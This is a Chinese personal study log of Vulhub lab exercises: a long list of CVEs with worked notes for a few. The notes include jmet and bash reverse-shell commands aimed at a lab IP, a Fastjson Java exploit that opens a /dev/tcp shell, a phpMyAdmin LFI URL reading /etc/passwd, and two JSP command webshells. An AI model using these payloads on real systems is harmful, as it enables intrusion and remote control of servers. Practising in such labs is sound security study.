Vulhub靶场练习
立个flag:以一周3个漏洞的练习为目标,进行练习,207/3=69周,哎呀,483天, 我尽量缩短时间
- 已完成:4
1.ActiveMQ 反序列化漏洞 (CVE-2015-5254)
漏洞原理
漏洞验证
访问环境
目标IP:8161/admin
漏洞利用
工具准备
https://github.com/matthiaskaiser/jmet/releases
需再同级目录下创建一个名为external的文件夹
命令测试
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/ceshi" -Yp ROME 192.168.168.128 61616
访问http://192.168.168.128:8161 /admin/browse.jsp?JMSDestination=event
反弹shell
netcat下载
https://www.cnblogs.com/linyufeng/p/13206252.html
发送bash弹shell的命令到服务器
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tvp/192.168.168.128/1234 0>&1 " -Yp ROME 192.168.168.128 61616
目前问题:并没有反弹shell成功
目前失败
2.ActiveMQ任意文件写入漏洞(CVE-2016-3088)
漏洞介绍
知识补充
ActiveMQ的web控制台
由下面三点构成
- admin:管理员页面
- api:接口
- fileserver :储存文件的接口
漏洞原理
fileserver支持写入文件但不解析jsp,同时支持移动文件(MOVE请求);所以我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置
影响范围
- ActiveMQ 5.x ~ 5.14.0
漏洞验证
查看activemq的绝对路径
通过抓包工具上传数据包
PUT /fileserver/2.txt HTTP/1.1
Host: 网站地址:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Cookie: JSESSIONID=xamzxopzi218qa4hm587oa5h
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 120976
<%@ page import="java.io.*"%>
<%
out.print("Test<br>");
String strcmd = request.getParameter("cmd");
String line = null;
Process p = Runtime.getRuntime().exec(strcmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"<br>");
}
%>
将webshell移动到web目录下api文件下
目前失败,还没找到原因
3.Apereo CAS 4.1 反序列化 RCE 漏洞
4.AppWeb 身份验证绕过漏洞 (CVE-2018-8715)
5.Apache HTTPD 换行解析漏洞(CVE-2017-15715)
6.Apache HTTP 服务器 2.4.48 mod_proxy SSRF (CVE-2021-40438)
7.Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞 (CVE-2021-41773)
8.Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)
9.Apache HTTPD 多后缀解析漏洞
10.Apache SSI 远程命令执行漏洞
11.Aria2 任意文件写入漏洞
12.Adobe ColdFusion 目录遍历漏洞 (CVE-2010-2861)
13.Adobe ColdFusion AMF 反序列化远程命令执行 (CVE-2017-3066)
14.Atlassian Confluence 路径遍历和命令执行漏洞 (CVE-2019-3396)
15.Confluence Server Webwork Pre-Auth OGNL表达式注入代码执行漏洞 (CVE-2021-26084)
16.Apache Couchdb 垂直权限提升 (CVE-2017-12635)
17.Couchdb 任意命令执行 (CVE-2017-12636)
18.Discuz 7.x/6.x 全局变量防御绕过导致代码执行
19.Discuz!X ≤3.4 任意文件删除漏洞
20.Django debug page XSS漏洞(CVE-2017-12794)分析
21.Django < 2.0.8 任意URL跳转漏洞 (CVE-2018-14574)
22.Django JSONField/HStoreField SQL注入漏洞
23.Django GIS SQL注入漏洞
24.Django QuerySet.order_by() SQL注入漏洞
25.DNS域传送漏洞
26.docker daemon api 未授权访问漏洞
27.Drupal < 7.32 “Drupalgeddon” SQL注入漏洞
28.Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞
29.Drupal Drupalgeddon 2 远程代码执行漏洞
30.Drupal 远程代码执行漏洞
41.Drupal 远程代码执行漏洞
42.Drupal XSS漏洞
43.Aapche Dubbo Java反序列化漏洞
44.ECShop 4.x collection_list SQL注入
45.ECShop 2.x/3.x SQL注入/任意代码执行漏洞
46.ElasticSearch 命令执行漏洞
47.ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞
48.ElasticSearch 插件目录穿越漏洞
49.ElasticSearch 目录穿越漏洞
50.ElasticSearch 写入 webshell漏洞
51.electron 远程命令执行漏洞
52. Electron WebPreferences 远程命令执行漏洞
53.fastjson反序列化导致任意命令执行漏洞
54.fastjson1.2.47远程命令执行漏洞
漏洞介绍
Fastjson是什么
阿里巴巴公开的一款json解析器
漏洞原理
- autotype功能:允许用户再反序列化数据中通过”@type“制定反序列化的类型
- Fastjson自定义的反序列化机制时会调用指定类中的setter方法及getter方法
影响版本
Fastjson≤1.2.47
漏洞验证
利用代码准备
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.168.128/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
需要将代码进行编译
55.ffmpeg任意文件读取漏洞/SSRF漏洞
56.ffmpeg任意文件读取漏洞
57.Jinja2 SSTI模板注入
58.Apache flink文件上传漏洞
59.Apache Flink jobmanager/ogs目录穿越漏
60.PHP-FPM Fastcgi未授权访问漏洞
61.GhostScript沙箱绕过(命令执行)漏洞
62.GhostScript沙箱绕过(命令执行)漏洞
63.GhostScript沙箱绕过(命令执行)漏洞1
64.GIT-SHELL沙盒绕过
65.Gita1.4.0目录穿越导致命令执行漏洞
66.Gitlab任意文件读取漏洞
67.Gitlab远程命令执行漏洞
68.gitlist0.6.0远程命令执行漏洞
69.G|ass fish任意文件读取漏洞
70.GoAhead远程命令执行漏洞
71.Gogs任意用户登录漏洞
72.H2 Database console未授权访问
73.Hadoop YARN ResourceManager未授权访问漏洞
74.OpenSSH用户名枚举漏洞
75.HeartBleed心脏出血
76.HTTPoxy漏洞
77.imagetragick命令执行漏洞
78.imagemagick PDF密码位置命令注入漏洞
79.Influxdb未授权访问漏洞
80.Jackson-databind反序列化漏洞
81.Java rmi codebase远程代码执行漏洞
82.Java RMi Registry反序列化漏洞(<=jdk8u111)
83.Java RMI Registry反序列化漏洞(<jdk8u232_b09)
84.JBoss JMXInvoker Servlet反序列化漏洞
85.JBoss5×/6x反序列化漏洞
86.JBoss4.x JBOSSMQ JMS反序列化漏洞
87.Jenkins-CI远程代码执行漏洞
88.Jenkins远程命令执行漏洞
89.Jetty WEB-INF敏感信息泄露漏洞
90.Jety通用 Servlets组件 Concat servlet信息泄露漏洞
91.Jet!wEB-INF敏感信息泄露漏洞
92.Atlassian jira模板注入漏洞
93.Jmeter rm反序列化命令执行漏洞(cVE-2018-1297)
94.Joomla3.4.5反序列化漏洞
95.Joomla3.7.0SQL注入漏洞
96.Jupyter Notebook 末授权访问漏洞
97.Kiana本地文件包含漏洞
98.Kiana原型链污染导致任意代码执行漏洞
99.Laravel Ignition2.5.1代码执行漏洞
100.libssh服务端权限认证绕过漏洞
101.Liferay Portal CE反序列化命令执行漏洞
102.Apache Log4 j Server反序列化命令执行漏洞
103.Magento2.2 SQL注入漏洞
104.mini_httpd任意文件读取漏洞
105.Mojarra JSF ViewState反序列化漏洞
106.mongo-express远程代码执行漏洞
107.Mysql身份认证绕过漏洞
108.Neo4j Shell Server反序列化漏洞
109.Nexus Repository Manager3远程命令执行漏洞
110.Nexus Repository Manager3远程命令执行漏洞
111.Nexus Repository Manager3远程命令执行漏洞
112.Nginx文件名逻辑漏洞
113.Nginx越界读取缓存漏洞
114.Nginx配置错误三例
115.Nginx解析漏洞
116.Node js目录穿越漏洞
117.node-postgres代码执行漏洞分析
118.stong权限绕过漏洞
119.Apache OfBiz反序列化命令执行漏洞
120.OpenSMTPD远程命令执行漏洞(CVE-2020-7247)
121.PHP 8.1.0-dev开发版本后门事件
122.PHP-CGl远程代码执行漏洞
123.PHP imap远程命令执行漏洞
124.PHP-FPM远程代码执行漏洞
125.PHP文件包含漏洞(利用phpinfo)
126.PHP XML实体注入
127.XDebug远程调试漏洞(代码执行)
128.PHPMAiler任意文件读取漏洞
129.phpmyadmin 4.8.1远程文件包含漏洞
漏洞介绍
形成原因
其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
详细原理、代码分析:https://www.cnblogs.com/leixiao-/p/10265150.html
漏洞验证
测试此漏洞是否存在
确定目标网站为 Linux系统后,访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
此网站存在远程文件包含漏洞
查看自己的登录账户
是个测试账户
写入命令,找到cookie值
shell连接
130.phpMyAdmin4.0.×-4.6.2远程代码执行漏洞
漏洞介绍
产生原因
php中preg_replace函数(执行一个正则表达式并实现字符串的搜索与替换)
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count: 可选,为替换执行的次数。
- preg_replace的介绍:https://www.cnblogs.com/chenshishuo/p/4912456.html
漏洞验证
131.phpmyadmin scripts/setup.php反序列化漏洞
132.phpunit远程代码执行漏洞
133.PostgreSQL提权漏洞
134.PostgreSQL高权限命令执行漏洞(CVE-2019-9193)
135.python pil远程命令执行漏洞( GhostButt)
136.python pil远程命令执行漏洞(viaGhostscript)
137.python unpickle反序列化漏洞
138.Ruby On Rails路径穿越漏洞
139.Ruby on Rails路径穿越与任意文件读取漏洞
140.Salt stack水平权限绕过漏洞
141.Salt stack任意文件读写漏洞
142.Saltstack命令注入漏洞
143.Redis4×/5×未授权访问漏洞
144.Rocket Chat MongoDB注入漏洞
145.rsync未授权访问漏洞
146.Ruby net::FTP模块命令注入漏洞(CvE-2017-17405)
147.Samba远程命令执行漏洞
148.scraped未授权访问漏洞
149.Apache Shiro1.24反序列化漏洞(CVE-2016-4437)
漏洞定义
shiro是什么
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理
序列化与反序列化
- 序列化:把对象转化为字节序列的过程
- 反序列化:把字节序列转化为对象的过程
shiro反序列化
- Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。
- 攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
cookie处理流程
cookie值-->base64编码-->AES解密-->反序列化
payload构造顺序
恶意命令-->反序列化-->AES加密-->base64编码-->发送cookie
shiro特征(此处不懂,但感觉是重要的,先留着)
- 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
- 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
- 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
- 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
知识补充
- Shiro<1.2.4-RememberMe反序列化漏洞。而它也被称为Shiro 550反序列化漏洞
- 硬编码:将数据直接写入代码,进行编译开发。
漏洞验证
工具准备(脚本)
https://github.com/zhzyker/shiro-1.2.4-rce
crypto库的安装
如果pip3 install crypto后,运行命令提示没有安装crypto,请卸载:pip3 uninstall crypto,执行pip3 install pycryptodome
测试目标
bash -i >& /dev/tcp/192.168.168.128:8080/ 0>&1
这里暂时有点问题,还没解决
工具准备(自动化)
https://github.com/j1anFen/shiro_attack
测试目标
获取key
命令执行
150.Apache Shiro认证绕过漏洞
151.Apache Skywalking8、3.0SQL注入漏洞
152.Shellshock破壳漏洞
153.Celery<40 Redis未授权访问+ Pickle反序列化利用
154.Apache Solr XML实体注入漏洞
155.Apache Solr 远程命令执行漏洞
156.Apache Solr远程命令执行漏洞
157.Apache Solr veloci!y注入远程命令执行漏洞
158.Apache Solr Remote Streaming文件读取与SSRF漏洞
159.Apache Spark未授权访问漏洞
160.Spring Security Oauth2远程命令执行漏洞
161.Spring WebFlow远程代码执行漏洞
162.Spring data Rest远程命令执行漏洞
163.Spring messaging远程命令执行漏洞
164.Spring Data Commons远程命令执行漏洞
165.s2-001远程代码执行漏洞
166.s2-005远程代码执行漏洞
167.s2-007远程代码执行漏洞
168.s2-008远程代码执行漏洞
169.s2-009远程代码执行漏洞
170.s2-012远程代码执行漏洞
171.s2-013远程代码执行漏洞
172.S2-015远程代码执行漏洞
173.S2-016远程代码执行漏洞
174.S2-032远程代码执行漏洞
175.S2-045远程代码执行漏洞
176.S2-046远程代码执行漏洞
177.S2-048远程代码执行漏洞
178.S2-052远程代码执行漏洞
179.S2-053远程代码执行漏洞
180.Struts2 S2-057远程命令执行漏洞
181.Struts2 S2-059远程命令执行漏洞
182.Struts2 S2-061远程命令执行漏洞
183.Supervisor远程命令执行漏洞
184.ThinkPHP 2.x任意代码执行漏洞
185.ThinkPHP5 5.0.22/5.1.29远程代码执行漏洞
186.ThinkPHP5 5.0.23远程代码执行漏洞
187.ThinkPHP5 SQL注入漏洞/信息泄露
188.Tiki Wiki CMS Groupware认证绕过漏洞
189.Tomcat Put方法任意写文件漏洞
190.Apache Tomcat AJP文件包含漏洞(CVE-2020-1938)
适用版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
漏洞定义
- 由于Tomcat默认开启的AJP服务(8009端口),但是Tomcat AJP 协议存在缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件
- 如果此应用在网站服务中具备上传功能,攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),利用此漏洞进行文件包含,从而达到代码执行的危害。
漏洞验证
验证工具准备
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
测试目标
得出结果
存在Apache Tomcat AJP文件包含漏洞
知识补充
tomcat的目录结构。此漏洞的危害之一是:获取webapp目录中的任意文件
目前不足的是,不知道webapp下还有什么文件且是比较有危害的,首先得找找tomat有什么重要文件资料
修复方案
https://www.chaitin.cn/en/ghostcat
191.Tomcat弱口令
漏洞介绍
形成原因
tomcat支持通过后端部署war文件,所以我们可以将webshell上传到网站目录下
概念介绍
war包放在webapps或work目录下,tomcat启动后,war包会解压源代码来自动部署
使用条件
正常安装情况下,Tomcat 8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手动修改了上述属性后才可能出现攻击机会
- 我的理解是:先点击manager App,有没有登录的弹窗,看有没有上传的页面,
漏洞验证
访问目标站点
我们以实现知道网站账户:tomcat 密码:tomcat
找到目标网站的上传点
制作木马
<%
if("thisispasswd".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("tomcat")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
上传木马
获取shell